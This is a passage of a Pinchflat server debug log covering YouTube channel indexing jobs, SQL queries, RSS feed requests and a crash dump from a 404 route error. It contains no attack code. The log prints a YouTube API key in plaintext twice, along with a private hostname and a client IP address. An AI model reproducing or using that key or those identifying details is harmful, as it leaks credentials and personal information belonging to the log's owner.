"aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 16:37:49.778 [debug] QUERY OK source="media_items" db=0.5ms idle=105.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 16:37:49.779 [debug] QUERY OK source="tasks" db=0.1ms idle=106.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800033, 41, ~U[2026-02-10 22:37:49Z], ~U[2026-02-10 22:37:49Z]] 16:37:49.779 [info] {"args":{"id":41},"id":3799994,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":107702,"event":"job:stop","queue_time":551230,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:50.672 [info] {"args":{"id":5},"id":3799995,"meta":{},"system_time":1770763070672684445,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:50.673 [debug] QUERY OK source="sources" db=0.1ms idle=893.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 16:37:50.673 [debug] QUERY OK source="settings" db=0.0ms idle=893.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:50.673 [debug] QUERY OK source="media_profiles" db=0.0ms idle=887.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:50.673 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:50.673 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 16:37:50.673 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:50.673 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:50.765 [debug] QUERY OK source="media_items" db=0.7ms idle=91.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 16:37:50.769 [debug] QUERY OK source="media_items" db=2.9ms idle=93.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 16:37:50.771 [debug] QUERY OK source="tasks" db=0.4ms idle=1.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800034, 5, ~U[2026-02-10 22:37:50Z], ~U[2026-02-10 22:37:50Z]] 16:37:50.771 [info] {"args":{"id":5},"id":3799995,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":99039,"event":"job:stop","queue_time":516035,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:55.679 [info] {"args":{"id":1},"id":3799996,"meta":{},"system_time":1770763075679665493,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:55.680 [debug] QUERY OK source="sources" db=0.1ms idle=1801.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:37:55.680 [debug] QUERY OK source="settings" db=0.0ms idle=1801.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:55.680 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:55.680 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:55.680 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 16:37:55.680 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:55.680 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:55.805 [debug] QUERY OK source="media_items" db=0.6ms idle=125.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 16:37:55.816 [debug] QUERY OK source="media_items" db=9.6ms idle=126.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:37:55.836 [debug] QUERY OK source="tasks" db=1.3ms idle=1.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800035, 1, ~U[2026-02-10 22:37:55Z], ~U[2026-02-10 22:37:55Z]] 16:37:55.836 [info] {"args":{"id":1},"id":3799996,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":156985,"event":"job:stop","queue_time":488050,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:56.187 [info] GET /sources/41/force_index 16:37:56.187 [debug] QUERY OK source="settings" db=0.3ms idle=352.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:56.188 [debug] QUERY OK source="settings" db=0.1ms idle=352.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:56.188 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:37:56.188 [error] #PID<0.22314.0> running PinchflatWeb.Endpoint (connection #PID<0.22313.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/41/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/41/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22313.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/41/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 50654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15", "x-forwarded-for" => "201.97.178.224", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "201.97.178.224" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.22314.0>, params: %{}, path_info: ["sources", "41", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15"}, {"x-forwarded-for", "201.97.178.224"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "201.97.178.224"} ], request_path: "/sources/41/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMDosmCk_IDU2kACSdh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22313.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/41/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 50654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15", "x-forwarded-for" => "201.97.178.224", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "201.97.178.224" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/41/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22313.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/41/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 50654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15", "x-forwarded-for" => "201.97.178.224", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "201.97.178.224" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.22314.0>, params: %{}, path_info: ["sources", "41", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozilla/5.0 (Macintosh; In (truncated) 16:37:58.400 [info] {"source":"oban","duration":10535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.028 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:38:28.412 [info] {"source":"oban","duration":11295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:41.578 [info] GET /sources/af8ae607-b597-44e3-a119-63d1ea29b14d/feed.xml 16:38:41.578 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "af8ae607-b597-44e3-a119-63d1ea29b14d"} Pipelines: [:maybe_basic_auth] 16:38:41.578 [debug] QUERY OK source="sources" db=0.1ms idle=1700.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["af8ae607-b597-44e3-a119-63d1ea29b14d"] 16:38:41.587 [debug] QUERY OK source="media_items" db=8.7ms idle=1700.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [32, 2000] 16:38:41.620 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1742.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [32] 16:38:41.621 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1742.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563846] 16:38:41.626 [info] Sent 200 in 47ms 16:38:44.053 [info] GET /sources/1b5043dd-323a-4290-b9d6-fcb820d902a3/feed.xml 16:38:44.053 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "1b5043dd-323a-4290-b9d6-fcb820d902a3"} Pipelines: [:maybe_basic_auth] 16:38:44.053 [debug] QUERY OK source="sources" db=0.2ms idle=1175.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["1b5043dd-323a-4290-b9d6-fcb820d902a3"] 16:38:44.056 [debug] QUERY OK source="media_items" db=2.1ms idle=1175.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT 